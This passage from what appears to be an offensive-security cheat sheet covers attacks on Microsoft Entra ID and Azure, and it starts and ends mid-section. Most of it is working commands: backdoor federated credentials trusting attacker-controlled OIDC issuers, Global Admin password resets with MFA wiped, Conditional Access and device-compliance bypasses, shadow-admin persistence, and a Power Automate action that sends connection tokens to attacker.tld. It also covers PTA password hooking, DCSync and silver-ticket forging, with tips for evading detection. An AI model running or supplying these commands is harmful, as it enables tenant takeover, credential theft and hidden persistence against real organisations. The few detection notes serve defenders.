# Add your own federated credential pointing to attacker-controlled OIDC issuer
az ad app federated-credential create --id <appId> --parameters '{
  "name":"backdoor",
  "issuer":"https://token.actions.githubusercontent.com",
  "subject":"repo:attacker/evil:ref:refs/heads/main",
  "audiences":["api://AzureADTokenExchange"]
}'

# Add credential trusting any branch in the victim repo (subject wildcards via claimsMatchingExpression on newer API)
az ad app federated-credential create --id <appId> --parameters '{
  "name":"any-branch",
  "issuer":"https://token.actions.githubusercontent.com",
  "subject":"repo:victim/repo:ref:refs/heads/*",
  "audiences":["api://AzureADTokenExchange"]
}'

# From a GitHub Actions runner (or anywhere with that OIDC token)
TOKEN=$(curl -H "Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" | jq -r .value)

curl -X POST https://login.microsoftonline.com/<tid>/oauth2/v2.0/token \
  -d "client_id=<appId>" \
  -d "scope=https://graph.microsoft.com/.default" \
  -d "client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer" \
  -d "client_assertion=$TOKEN" \
  -d "grant_type=client_credentials"

#Cross-cloud Federation Crossover

# AWS -> Entra: federate an IAM Role's STS-issued OIDC token
az ad app federated-credential create --id <appId> --parameters '{
  "name":"aws-role",
  "issuer":"https://oidc.eks.us-east-1.amazonaws.com/id/CLUSTERID",
  "subject":"system:serviceaccount:default:my-sa",
  "audiences":["api://AzureADTokenExchange"]
}'

# Google -> Entra: workload identity from GKE / GCE
az ad app federated-credential create --id <appId> --parameters '{
  "name":"gcp-sa",
  "issuer":"https://accounts.google.com",
  "subject":"<numeric-sa-id>",
  "audiences":["api://AzureADTokenExchange"]
}'

# Self-hosted OIDC issuer (you control DNS)
az ad app federated-credential create --id <appId> --parameters '{
  "name":"self",
  "issuer":"https://oidc.attacker.tld",
  "subject":"backdoor",
  "audiences":["api://AzureADTokenExchange"]
}'
# Spin up minimal OIDC issuer with go-oidc-issuer or manual JWKS at /.well-known/jwks.json

#Detection Blind Spots

  • No secret added to the app -> no Update application certificates and secrets audit event
  • Add federated identity credential is logged under Update application but with subtle additionalDetails - easy to miss in default Sentinel rules
  • No expiration window
  • Token never appears in Entra sign-in logs as a credential, only the resulting client_credentials sign-in does
  • Detection: alert on any Add federated identity credential event, baseline trusted issuers, alert on subjects containing wildcards

#Cross-Tenant Attacks

#Cross-Tenant Access Settings (XTAS)

XTAS (the successor to legacy B2B settings) lets a tenant define which external tenants can collaborate, with what trust level (e.g. "trust their MFA claim", "trust their compliant device claim"). A misconfigured XTAS = attacker tenant can mint tokens that the victim tenant accepts as MFA-satisfied even though attacker MFA is junk.

# Enumerate XTAS as authenticated user
Get-MgPolicyCrossTenantAccessPolicyDefault
Get-MgPolicyCrossTenantAccessPolicyPartner
Get-MgPolicyCrossTenantAccessPolicyPartner -CrossTenantAccessPolicyConfigurationPartnerTenantId <tid>

# Look for inboundTrust.isMfaAccepted = true / isCompliantDeviceAccepted = true
# Any external user from that tenant bypasses victim MFA + compliance CA

#B2B Direct Connect

B2B Direct Connect (used by Teams Connect Shared Channels) creates a no-account trust where users from tenant A appear in tenant B's Teams without ever provisioning a guest. Misconfig: enable Direct Connect with a low-security partner tenant -> their compromised users get Teams + Files access in your tenant.

Get-MgPolicyCrossTenantAccessPolicyPartner | \
  Where-Object { $_.B2bDirectConnectInbound.UsersAndGroups.AccessType -eq 'allowed' }

#Cross-Tenant Sync (Inbound Provisioning)

Cross-tenant sync provisions users from a source tenant into a target tenant automatically. If you compromise the source tenant and add yourself to the synced scope, you get auto-provisioned into the target as a member (not guest), often with default group memberships.

# Find inbound provisioning jobs (target tenant side)
Get-MgServicePrincipalSynchronizationJob -ServicePrincipalId <sp_id>

# Source tenant adds attacker user to scope, target tenant auto-creates internal user
# Attacker user inherits group memberships per attribute mapping

#Storm-0558 Style Key Forgery

In 2023, Storm-0558 stole an MSA consumer signing key, discovered it could also sign Entra tokens for any tenant due to a validation bug, and forged tokens for ~25 orgs including US gov. The pattern:

  1. Compromise an OIDC signing key (consumer or enterprise STS)
  2. Forge a JWT with arbitrary oid, tid, appid, roles
  3. Sign with stolen key
  4. Token is accepted by any resource that trusts the issuer's JWKS

Defensive lesson and red team angle: any Tier-0 KMS / HSM hosting OIDC signing material is a Domain Controller equivalent. Targets: ADFS signing cert, Entra ID Connect signing cert, custom OIDC issuers, federated app signing.

A multi-tenant app registered in attacker tenant but consented to by victim tenant lives in victim tenant as a Service Principal. From attacker tenant you control the application object (can add credentials, add federated creds, change reply URLs). The SP in victim tenant inherits all those changes silently.

# Register multi-tenant app in attacker tenant
az ad app create --display-name "DocumentSync" --sign-in-audience AzureADMultipleOrgs

# Get victim user to consent (admin or user consent)
https://login.microsoftonline.com/<victim_tid>/oauth2/v2.0/authorize?client_id=<appId>...

# Now from attacker tenant, add a new client secret
az ad app credential reset --id <appId> --append --years 2

# Auth as the SP into victim tenant (the SP exists in victim, the App exists in attacker)
curl -X POST https://login.microsoftonline.com/<victim_tid>/oauth2/v2.0/token \
  -d "client_id=<appId>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"

#Lighthouse Abuse

Azure Lighthouse delegates RBAC across tenants: MSP tenant is granted Owner / Contributor on customer subscriptions. Compromise the MSP, get Owner on every customer.

# From a compromised user in MSP tenant
Get-AzManagedServicesAssignment
Get-AzManagedServicesDefinition

# As any user in MSP tenant who is in the authorized PrincipalId, list customer subs
Get-AzSubscription | Where-Object { $_.TenantId -ne (Get-AzContext).Tenant.Id }
az account list --query "[?tenantId!='<msp_tid>']"

#Power Platform Abuse

#Power Automate Run-As

Power Automate flows often use connectors authenticated as the flow owner. Run a flow you co-own (or one that triggers on a shared resource) and the connector executes as the owner. If the owner is a privileged user, you get their access.

# List flows you can see
Get-AdminFlow                                          # Microsoft.PowerApps.Administration.PowerShell
Get-AdminFlow -EnvironmentName <env> | Format-Table

# Steal a flow's connection references
Get-AdminFlow -FlowName <fid> -EnvironmentName <env> | Select -Expand Internal
Get-AdminFlowOwnerRole -FlowName <fid> -EnvironmentName <env>

# Add yourself as owner
Set-AdminFlowOwnerRole -PrincipalType User -PrincipalObjectId <your_oid> \
  -RoleName CanEdit -FlowName <fid> -EnvironmentName <env>

# Edit the flow to dump connection tokens via HTTP action
# Action: HTTP -> POST https://attacker.tld with body containing @{triggerOutputs()}

#Power Apps Custom Connector Credential Extraction

Custom connectors hold OAuth tokens / API keys for any external service the maker integrated. Default Environment is the silent killer - all licensed users can read it.

Get-AdminPowerAppEnvironment
Get-AdminPowerAppConnector -EnvironmentName Default-<tid>
Get-AdminPowerAppConnection -EnvironmentName Default-<tid>

# PowerHuntShares + PowerHunt for the discovery layer
# PowerPwn for active abuse
python3 powerpwn.py recon --tenant target.com
python3 powerpwn.py dump-env-data --env Default-<tid>
python3 powerpwn.py phishing --tenant <tid>     # send phishing via Power Automate

#Power Platform DLP Bypass

Power Platform Data Loss Prevention rules block specific connector combinations (e.g. SharePoint + HTTP). Bypasses:

  • Use HTTP with Azure AD connector (often allowlisted) to exfil to attacker.tld
  • Use a custom connector to wrap the blocked one
  • Move flow to a Sandbox / Developer environment with relaxed DLP
  • Use child flows in different environments to chain connectors across DLP boundaries

#CVE-2023-36019 (Power Platform Connector Spoofing)

A Power Platform connector OAuth redirect was spoofable, letting an attacker craft a phish URL that appeared to originate from Microsoft and capture the consent grant. Patched server side; legacy custom connectors with similar redirect_uri patterns are still abusable.

#Power BI Dataset / Dataflow Exfil

# Dump every dataset you can read
Get-PowerBIDataset -Scope Organization
Invoke-PowerBIRestMethod -Url "datasets/<dsid>/executeQueries" -Method Post \
  -Body '{"queries":[{"query":"EVALUATE Customers"}]}'

#Dataverse Table Abuse

Dataverse (the Power Platform backing DB) holds custom business tables, often with HR, CRM, financial data. Maker role + WebAPI = full read on every table.

curl -H "Authorization: Bearer $TOKEN" \
  "https://<env>.crm.dynamics.com/api/data/v9.2/EntityDefinitions"
curl -H "Authorization: Bearer $TOKEN" \
  "https://<env>.crm.dynamics.com/api/data/v9.2/contacts?\$select=fullname,emailaddress1"

#Azure Resources Modern Exploitation

#BloodHound / ROADtools

# AzureHound (BloodHound CE)
azurehound list -u [email protected] -p password -t tenant -o output.json

# ROADtools
roadrecon auth -u [email protected] -p password
roadrecon gather && roadrecon gui
roadrecon plugin policies  # Conditional Access

# StormSpotter
stormcollector cli  # neo4j visualization

#Az CLI / PowerShell

# Connect
Connect-AzAccount / az login

# Enumerate
Get-AzADUser -All              / az ad user list
Get-AzADGroup -All             / az ad group list
Get-AzADApplication -All       / az ad app list
Get-AzRoleAssignment           / az role assignment list
Get-AzResource                 / az resource list

# Conditional Access
Get-MgIdentityConditionalAccessPolicy

# Additional
Get-AADIntTenantDetails
Get-AADIntAccessPolicies
Get-AzureADPSPermissions       # PowerZure
Get-AzDoServicePrincipals      # DevOps SPs

#Microsoft Graph API

GET https://graph.microsoft.com/v1.0/users
GET https://graph.microsoft.com/v1.0/groups
GET https://graph.microsoft.com/v1.0/applications
GET https://graph.microsoft.com/v1.0/servicePrincipals
GET https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments
GET https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies

#Dynamic Group Abuse

# Find dynamic groups
Get-AzureADGroup | fl displayName, Id, DynamicMembership, DynamicMembershipRule
# Modify user attributes to match rule -> auto-join privileged group

#Privilege Escalation

#Application / Role Abuse

Technique Impact
App with RoleManagement.ReadWrite.All Can assign Global Admin to any user
App with AppRoleAssignment.ReadWrite.All Can grant any app role to any SP
Privileged Role Administrator Can assign any role including GA
Application Administrator Can add creds to any app/SP
Cloud Application Administrator Add creds to apps/SPs but CANNOT manage on-prem synced apps (see AZCloudAppAdmin)
Privileged Authentication Administrator Reset password + MFA of Global Admins (see AZPrivilegedAuthAdmin)
Authentication Administrator Reset password/MFA of non-privileged users only
Hybrid Identity Administrator Silent AddOwner on apps/SPs, federation control
Directory Synchronization Accounts GA-equivalent Graph writes, hidden from admin dashboards
Partner Tier1 / Tier2 Support Silent AddOwner, GA-equivalent for B2B scenarios
Intune Administrator Push scripts -> SYSTEM on devices
PIM Abuse Activate eligible GA role
User Access Administrator Full Azure RM role assignment (see AZUserAccessAdministrator)

#AZGlobalAdmin

Global Admin is the apex Entra role but by default has NO Azure RM rights on subscriptions. The elevateAccess toggle flips the tenant-root Management Group so GA gains User Access Administrator at /, inheriting Owner on every subscription.

# The canonical GA-to-all-subs one-liner
az rest --method post \
  --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"

# Post-toggle: GA now has UAA at root tenant MG -> assign Owner on every sub
az account list --query "[].id" -o tsv | while read sid; do
  az role assignment create --assignee <me> --role Owner --scope /subscriptions/$sid
done

# Clean up (leave no trace that you toggled)
az rest --method delete \
  --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
# AADInternals / Az.Accounts equivalent
Invoke-AzElevatedAccessManagementRoleToggle

Audit trail: the elevateAccess call writes a single Azure Activity Log event Microsoft.Authorization/elevateAccess/action. Most tenants never fire this event so it is a high-fidelity detection - schedule the toggle for off-hours only if you accept the risk.

#AZPrivilegedAuthAdmin

Privileged Authentication Administrator (PAA) is distinct from Authentication Administrator: PAA can reset the password AND MFA methods of ANY user, including Global Admins and other privileged roles. Regular Authentication Admin cannot touch privileged users.

Path: AZPrivilegedAuthAdmin -> reset GA password -> sign in as GA -> tenant takeover.

# MS Graph PowerShell - reset target password
$pwd = @{ password = "Evil!Pass123"; forceChangePasswordNextSignIn = $false }
Reset-MgUserAuthenticationMethodPassword -UserId <ga_upn> -BodyParameter $pwd

# Alt: update via user endpoint (requires PAA effective perms)
Update-MgUser -UserId <ga_upn> -PasswordProfile @{ Password = "Evil!Pass123"; ForceChangePasswordNextSignIn = $false }
# Azure CLI
az ad user update --id <ga_upn> --password "Evil!Pass123" --force-change-password-next-login false

BARK primitive:

New-PasswordResetRequest -Token $GraphToken -TargetUserId <ga_oid> -NewPassword "Evil!Pass123"

Also wipe MFA methods so the reset password actually gets you a session:

Get-MgUserAuthenticationMethod -UserId <ga_upn>
Remove-MgUserAuthenticationPhoneMethod -UserId <ga_upn> -PhoneAuthenticationMethodId <id>
Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -UserId <ga_upn> -MicrosoftAuthenticatorAuthenticationMethodId <id>

#AZCloudAppAdmin

Cloud Application Administrator looks identical to Application Administrator on paper but has a critical carveout: it can manage cloud-only app registrations and service principals, but CANNOT manage applications that are on-prem synced (Application Proxy apps, apps with servicePrincipalType == Application backed by a synced identity). Those are locked to Application Administrator.

This is a common BloodHound path-finding pitfall: a path that traverses an AZCloudAppAdmin edge to a synced app will not actually work. Verify with:

Get-MgServicePrincipal -ServicePrincipalId <sp> -Property servicePrincipalType,appOwnerOrganizationId
# servicePrincipalType == "Application" + on-prem origin = AZCloudAppAdmin cannot touch

#Service Principal Abuse

# Add secret to privileged app
az ad app credential reset --id <appId> --append --years 2
az ad sp credential reset --id <spId> --append
az ad sp credential list --id <spId>
# Managed Identity token theft
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2019-08-01" \
  -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"

#Conditional Access Bypass (Classic)

  • Legacy auth (IMAP/POP3/SMTP) - may bypass MFA if not blocked
  • Stolen PRT from compliant device - spoof device compliance
  • Named Location abuse - pivot through trusted IP ranges
  • Token lifetime - refresh tokens valid for hours/days from any location

#Conditional Access Modern Bypass

#Client & Platform Tricks

Conditional Access is a policy decision point, but the decision depends on signals the client sends. Lie about the client, lie about the platform, lie about the device, and the policy decision changes.

# Bypass Block Legacy Auth - force modern client ID even for ROPC
roadtx gettokens -c msgraph -u [email protected] -p pass \
  --user-agent "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36"

# Bypass Require Compliant Device via client that doesn't support device claims
# Client IDs that historically skip device check:
# 1b730954-1685-4b74-9bfd-dac224a7b894  Azure AD PowerShell
# 1950a258-227b-4e31-a9cf-717495945fc2  Azure PowerShell
# 04b07795-8ddb-461a-bbee-02f9e1bf7b46  Azure CLI
# d3590ed6-52b3-4102-aeff-aad2292ab01c  Microsoft Office
roadtx gettokens -c azurecli -r https://graph.microsoft.com

# FOCI (Family of Client IDs) switch - use a client that has different CA scoping
roadtx refreshtokenauth -r https://management.azure.com -c msoffice --refresh-token <rt>

# Spoof User-Agent to appear as "Mobile App" excluded from CA
curl -H "User-Agent: Outlook-iOS-Mobile" https://graph.microsoft.com/v1.0/me

# Bypass MFA-required CA via refresh token (MFA claim carried, no re-prompt)
# A refresh token minted once with MFA remains MFA-claimed for its lifetime (90d)

#Device Compliance Spoofing

# Register a virtual device that claims compliance
roadtx device -a register -n DESKTOP-PWN --os Windows --version "10.0.22631"
roadtx device -a join -n DESKTOP-PWN

# Mark as compliant by pushing fake Intune check-in
roadtx device -a setcompliant -n DESKTOP-PWN

# Get PRT from the virtual device
roadtx prt -hello -c <client_id> -r https://graph.microsoft.com

#Token Protection (CTP) Bypass

Token Protection binds tokens to a device key. Bypass: use a client that does not support TP yet (most non-Outlook clients as of 2025), or downgrade the binding via refresh with an older client.

#Locations & Risk Bypass

# Residential proxy / AWS API Gateway via FireProx for IP rotation
python3 fire.py --access_key <AK> --secret_access_key <SK> \
  --region us-east-1 --command create --url https://login.microsoftonline.com

# Low-and-slow to avoid Identity Protection risk engine
# One auth per 20min per account from different IPs
trevorspray -u users.txt -p pass --interval 1200 --ssh proxy1 proxy2 proxy3

# Tor exit as "Named Location" bypass if Tor not explicitly blocked

#Workload Identity Bypass

Conditional Access applies only to interactive / user-context tokens. Service Principal and Managed Identity tokens bypass CA unless you enable Workload Identity CA (Entra ID P2 + Workload Identities Premium). Most tenants do not have WID CA. Any stolen client_credentials SP token laughs at CA.

#CA Exclusion Injection

# With Policy.ReadWrite.ConditionalAccess, add self to exclusion
$policy = Get-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId <pid>
$policy.Conditions.Users.ExcludeUsers += "<attacker_oid>"
Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId <pid> \
  -Conditions $policy.Conditions

#Persistence Modern

#Federated Credential Backdoor

See Workload Identity Federation Abuse section. Adding a federated credential to an existing app leaves no secret, does not fire the secret-rotation audit event, and survives user password resets. Top-tier persistence for 2024-2025.

#Application Owner Takeover

# Add self as owner of a privileged app (via Application.ReadWrite.OwnedBy or Directory.ReadWrite.All)
az ad app owner add --id <appId> --owner-object-id <attacker_oid>

# As owner, add credentials at will
az ad app credential reset --id <appId> --append --years 10
# BHE / BloodHound edge: OwnedBy

#AZAddOwner - Silent Ownership

BloodHound models AZAddOwner (Entra directory ownership adds) separately from the Azure portal view. The portal only surfaces the MOST-RECENT registered owner of an app or SP, so an attacker who adds themselves as a second owner is effectively invisible in the Enterprise Applications blade. You must query Graph directly to enumerate true ownership.

Roles that grant INVISIBLE owner-add (the owner-add does not fire the "role assignment" audit and is not shown in portal ACLs for the principal being owned):

  • Hybrid Identity Administrator
  • Partner Tier1 Support
  • Partner Tier2 Support
  • Directory Synchronization Accounts
  • Cloud Application Administrator (for cloud-only apps)
  • Application Administrator
# MS Graph PowerShell - add owner on SP
New-MgServicePrincipalOwnerByRef -ServicePrincipalId <spId> -BodyParameter @{
  "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/<attacker_oid>"
}

# Add owner on Application object
New-MgApplicationOwnerByRef -ApplicationId <appObjectId> -BodyParameter @{
  "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/<attacker_oid>"
}

BARK primitives (used by BH itself when demonstrating the edge):

New-AppOwner                  -AppObjectId <oid>  -NewOwnerObjectId <attacker_oid> -Token $Token
New-ServicePrincipalOwner     -SpObjectId  <oid>  -NewOwnerObjectId <attacker_oid> -Token $Token
New-GroupOwner                -GroupObjectId <oid> -NewOwnerObjectId <attacker_oid> -Token $Token

AZMGAddOwner (the MS Graph permission variant) is granted by any of:

  • Application.ReadWrite.All
  • Directory.ReadWrite.All
  • Group.ReadWrite.All (groups only)
  • RoleManagement.ReadWrite.Directory
  • ServicePrincipalEndpoint.ReadWrite.All (obscure, SPs only - see dangerous perms)

Enumerate hidden owners post-compromise:

# Raw Graph - portal only shows latest owner, this shows all
az rest --method get --url "https://graph.microsoft.com/v1.0/servicePrincipals/<spId>/owners"
az rest --method get --url "https://graph.microsoft.com/v1.0/applications/<appObjectId>/owners"

#AZOwner vs AZOwns - Critical Distinction

BloodHound tracks TWO different ownership edges that look identical in English but have completely different abuse surfaces:

Edge Plane Meaning Abuse
AZOwner Azure RM (ARM) Built-in Owner RBAC role assignment on a subscription / RG / resource Full control of the resource, can assign any RBAC role at that scope
AZOwns Entra ID (directory) Directory-object owner of an app, SP or group Can add credentials, add owners, modify object, but NO Azure RM rights

A principal that AZOwns an app registration can mint new secrets for that app but cannot touch the subscription the app has roles on until they auth AS the SP. Conversely, AZOwner on a subscription does not give you any Entra-side rights on the apps running in it.

# AZOwner (ARM) - check role assignments
az role assignment list --assignee <oid> --all --query "[?roleDefinitionName=='Owner']"

# AZOwns (Entra) - check directory ownership
az rest --method get --url "https://graph.microsoft.com/v1.0/users/<oid>/ownedObjects"

#AZAuthenticatesTo / AZRunsAs

Two app/SP trust edges that are conceptually tied:

  • AZRunsAs: every Entra Application object has a 1:1 Service Principal in the home tenant. Control of the App object (owner, App Admin, etc.) implicitly gives you control of its SP because you can mint credentials that will be accepted at SP auth time. BloodHound draws App --AZRunsAs--> SP.
  • AZAuthenticatesTo: models a principal's ability to AUTHENTICATE as a target SP/MI. This is the edge drawn when a Federated Identity Credential (FIC) or Workload Identity Federation (WIF) binding lets an external OIDC subject impersonate the SP without any secret. Also covers cert/secret-based auth.

Canonical chain:

Compromise app owner -> AZOwns App -> AZRunsAs SP -> AZAuthenticatesTo SP -> SP has AZHasRole GA

Tradecraft (FIC backdoor as AZAuthenticatesTo primitive):

# Add FIC on target app pointing at attacker-controlled OIDC issuer
az rest --method post \
  --url "https://graph.microsoft.com/v1.0/applications/<appObjectId>/federatedIdentityCredentials" \
  --body '{"name":"pwn","issuer":"https://attacker.tld","subject":"pwn","audiences":["api://AzureADTokenExchange"]}'
# Then roadtx / custom JWT -> token exchange -> SP token. No secret stored in Entra.

Cross-reference: Workload Identity Federation Abuse.

#AZContains / AZScopedTo - Hierarchy Semantics

BloodHound models Azure hierarchy via AZContains:

Tenant (root)
  └── Management Group
        └── Subscription
              └── Resource Group
                    └── Resource (VM, KV, Storage, ...)

A role assignment at any node cascades DOWN via AZContains - so Owner at a subscription gives Owner on every RG and every resource inside. This is how BH computes transitive paths.

AZScopedTo is the complementary edge: it records the SCOPE of a specific role assignment. An Entra role can be:

  • Tenant-scoped (directoryScopeId = "/") - blast radius = entire tenant
  • Object-scoped (directoryScopeId = "/applications/<id>") - scoped to a single app or group

Why this matters: an Application Administrator assignment can be scoped to ONE app registration, which reduces blast radius dramatically. BH path-finding must follow AZScopedTo to avoid false positives. When planning a path, always query the scope:

Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '<oid>'" `
  | Select roleDefinitionId, directoryScopeId
# directoryScopeId == "/" means tenant-wide. Anything else is object-scoped.

ARM side:

# Role assignments with their scopes (AZScopedTo on the ARM plane)
az role assignment list --assignee <oid> --all --query "[].{role:roleDefinitionName,scope:scope}"

Composition view in BloodHound CE exposes these edges - use the BH composition graph on any computed path before trusting it.

#AZRoleEligible

PIM has two states for a role assignment:

State Edge Meaning Query
Active AZHasRole Role is currently effective, user has its permissions right now roleAssignmentSchedule
Eligible AZRoleEligible User can ACTIVATE the role (with or without MFA/approval) but does not currently hold it roleEligibilitySchedule
# Enumerate your eligible roles
Get-MgRoleManagementDirectoryRoleEligibilitySchedule -Filter "principalId eq '<my_oid>'"

# Enumerate all eligible assignments tenant-wide (needs RoleManagement.Read.Directory)
Get-MgRoleManagementDirectoryRoleEligibilityScheduleInstance -All

Activation pattern:

New-MgRoleManagementDirectoryRoleAssignmentScheduleRequest -BodyParameter @{
  action            = "selfActivate"
  principalId       = "<my_oid>"
  roleDefinitionId  = "62e90394-69f5-4237-9190-012177145e10"   # Global Admin
  directoryScopeId  = "/"
  justification     = "Break-glass"
  scheduleInfo = @{
    startDateTime = (Get-Date).ToString("o")
    expiration    = @{ type = "AfterDuration"; duration = "PT8H" }
  }
}

Activation duration caps at whatever the role policy allows (usually 1-8h). Some roles require MFA at activation time - use a token already MFA-claimed to avoid re-prompt.

#AZRoleApprover

When a PIM role requires approval, an Approver is defined in the role management policy. BloodHound draws AZRoleApprover from that principal to the role. Compromise the approver and auto-approve your own activation requests.

# Discover the approvers for a role (policy assignment lookup)
Get-MgPolicyRoleManagementPolicyAssignment -Filter "scopeId eq '/' and scopeType eq 'DirectoryRole'"
# For each policy id, read the approval rule
Get-MgPolicyRoleManagementPolicy -UnifiedRoleManagementPolicyId <pid> -ExpandProperty Rules |
  Select -ExpandProperty Rules | Where-Object { $_.Id -like "*Approval*" }

Exploitation chain:

  1. Request activation of your eligible role - it goes to Pending state
  2. Compromise the approver (any of the techniques in this sheet)
  3. As the approver, POST to /roleManagement/directory/roleAssignmentScheduleRequests/<reqId>/approve
# Approve own request as compromised approver
$body = @{ justification = "approved"; decision = "Approve" }
Invoke-MgGraphRequest -Method POST `
  -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests/<reqId>/approve" `
  -Body $body

Bonus: approvers are often hand-picked "trusted" accounts that are themselves less protected than the target role (e.g. a non-GA manager approving GA activations) - classic weakest-link scenario.

#AZResetPassword

User.ReadWrite.All, Helpdesk Admin, Password Admin, User Admin, Auth Admin (non-priv users only), and Privileged Auth Admin all produce this edge.

# Reset via Graph
az ad user update --id <upn> --password "Evil!Pass123" --force-change-password-next-login false

# Azure AD PowerShell (legacy)
Set-AzureADUserPassword -ObjectId <oid> -Password (ConvertTo-SecureString "Evil!Pass123" -AsPlainText -Force)

Password writeback caveat (critical for hybrid tenants):

  • If the target user is cloud-only: the reset affects the Entra password. Done.
  • If the target user is synced from on-prem AD and password writeback is enabled in Entra Connect: the reset is written back to on-prem AD, meaning both sides now hold the new password. The attacker effectively owns the on-prem account too.
  • If the target is synced but password writeback is disabled: the Entra-side reset succeeds, but on next sync cycle the on-prem hash wins and the Entra password reverts. You get a ~30min window.

Check writeback state:

Get-MgDirectoryOnPremisesSynchronization | Select -ExpandProperty Features
# Look for passwordWritebackEnabled = true

Also: for synced accounts with writeback off, the attacker should target UserPrincipalName / mail attributes via a different edge - password reset is unreliable.

#Privileged Access Group (PAG) Abuse

Role-Assignable Groups can hold Entra role memberships. Adding yourself (or a shadow user) to a PAG grants the wrapped role and hides the direct assignment from roleAssignments.

Get-MgGroup -Filter "isAssignableToRole eq true"
New-MgGroupMember -GroupId <pag_id> -DirectoryObjectId <attacker_oid>

#PIM Eligible Shadow Admin

# Create long-activation-window eligible GA for attacker
New-MgRoleManagementDirectoryRoleEligibilityScheduleRequest -BodyParameter @{
  action="adminAssign"
  principalId="<attacker_oid>"
  roleDefinitionId="62e90394-69f5-4237-9190-012177145e10"
  directoryScopeId="/"
  scheduleInfo=@{
    startDateTime=(Get-Date).ToString("o")
    expiration=@{ type="noExpiration" }
  }
  justification="Backup admin"
}

#Lifecycle Workflow Abuse

Lifecycle Workflows automate joiner/mover/leaver actions. Create a workflow that, on user offboarding, runs a Logic App that grants the attacker access. Triggers when defenders try to disable the attacker identity.

#Custom Security Attribute Persistence

Custom Security Attributes are rarely audited and can be used as a covert marker for dynamic group rules (e.g. user.customSecurityAttributes.backdoor -eq "yes" -> auto-add to privileged group).

#Cross-Tenant Sync Backdoor

Add inbound provisioning from an attacker-controlled tenant; whenever the victim offboards the attacker identity, it gets reprovisioned on next sync.

#Service Principal Owner Persistence

# Become owner of a privileged SP
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/servicePrincipals/<spId>/owners/\$ref" \
  --body '{"@odata.id":"https://graph.microsoft.com/v1.0/directoryObjects/<attacker_oid>"}'

#Directory Role Template Shuffling

Classic: assign a less-audited but still powerful role (Partner Tier1 Support, Partner Tier2 Support, Directory Synchronization Accounts, Authentication Administrator) as shadow admin. Authentication Administrator can reset MFA / passwords for non-admin users. Directory Synchronization Accounts is effectively GA-equivalent but often hidden from "admin" dashboards.

#Authenticator / FIDO2 Method Registration

# With Policy.ReadWrite.AuthenticationMethod + UserAuthenticationMethod.ReadWrite.All
New-MgUserAuthenticationFido2Method -UserId <victim> -BodyParameter @{...}
# Register attacker's FIDO2 key on victim account - future logins satisfy MFA

#Hybrid Identity Deep Dive

#Sync Topology

Component Role Credential / Cert
Azure AD Connect (legacy, on-prem) Pushes identities from AD to Entra MSOL_* account (AD, DCSync rights); Sync_* account (Entra, AAD Connector Space)
Entra Connect Sync (rename 2023+) Same binary, new branding Same
Entra Connect Cloud Sync Lightweight agent, no SQL, multi-forest Uses AADConnector_* gMSA + Entra-side app registration
Entra Connect Health Telemetry SaaS + on-prem agent Agent cert, can read ADFS configs
Cloud Kerberos Trust (Cloud Trust) Replaces ADFS + WHfB cert trust Uses Cloud TGT signing key stored in Entra

#Password Hash Sync (PHS)

AD Connect server holds the NT hashes of every synced on-prem user (for PHS) in the SQL DB and in-memory during sync. The MSOL_* AD account has DCSync rights and can dump anything. The Sync_ Entra account can write to AAD Connector Space.

# On the AD Connect server
Get-AADIntSyncCredentials                  # extract MSOL + Sync_ creds from ADSync SQL
Get-ADSyncAutoUpgrade
Get-ADSyncConnector

# Dump DPAPI-protected keyset used to encrypt sync creds
Get-AADIntLSABackupKeys
mimikatz # lsadump::dcsync /user:<MSOL_account>

# MSOL has DCSync by default
secretsdump.py <domain>/MSOL_<hex>:<pass>@<dc>

# Extract sync credentials from SQL directly (requires local admin)
$Path = "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"
Invoke-AADIntADSyncLocalDB

#ADSync vs MSOL vs Sync_

  • MSOL_<hex> - on-prem AD account, DCSync rights, used to read hashes
  • Sync_<HOST>_<hex> - Entra ID SP, Directory Sync Accounts role, can sync any user including reset on-prem pwd hash in Entra
  • ADSync local service account (gMSA on newer) - runs the service

#Entra Connect Cloud Sync

Cloud Sync is a lightweight agent without SQL, talking to Entra via a signed app registration. It supports multi-forest, can write back attributes, and crucially has no DCSync requirement - it uses targeted LDAP reads via a gMSA. Compromise of the agent host yields the same hashes (for PHS) via the registered service.

# Config paths
C:\ProgramData\Microsoft\Azure AD Connect Provisioning Agent\Trace
C:\Program Files\Microsoft Azure AD Connect Provisioning Agent\AADConnectProvisioningAgent.exe.config

# Extract agent cert (used as SP credential in Entra)
certutil -store -user my | findstr "AAD Connect Provisioning"

#PTA Spy

Pass-Through Authentication validates passwords against on-prem DCs via an agent. Install-AADIntPTASpy hooks the PTA agent and logs cleartext passwords of every authenticating user.

Install-AADIntPTASpy
Get-AADIntPTASpyLog -DecodePasswords
# Register a backdoor PTA agent (lets you answer auth requests yourself)
Register-AADIntPTAAgent -MachineName fakehost -FileName backdoor.pfx

#Seamless SSO - AZUREADSSOACC$

Seamless SSO uses a computer account called AZUREADSSOACC$ in on-prem AD. Its Kerberos password never rotates (Microsoft-acknowledged design flaw). Extract its hash from the DC -> forge silver tickets for any synced user via SPN HTTP/autologon.microsoftazuread-sso.com.

# Extract the AZUREADSSOACC$ NT hash
mimikatz # lsadump::dcsync /user:AZUREADSSOACC$
Get-AADIntDesktopSSO                            # check if enabled

# Forge silver ticket (any user)
mimikatz # kerberos::golden /user:<victim> /sid:<dom_sid> /domain:<dom> \
  /rc4:<sso_hash> /target:autologon.microsoftazuread-sso.com \
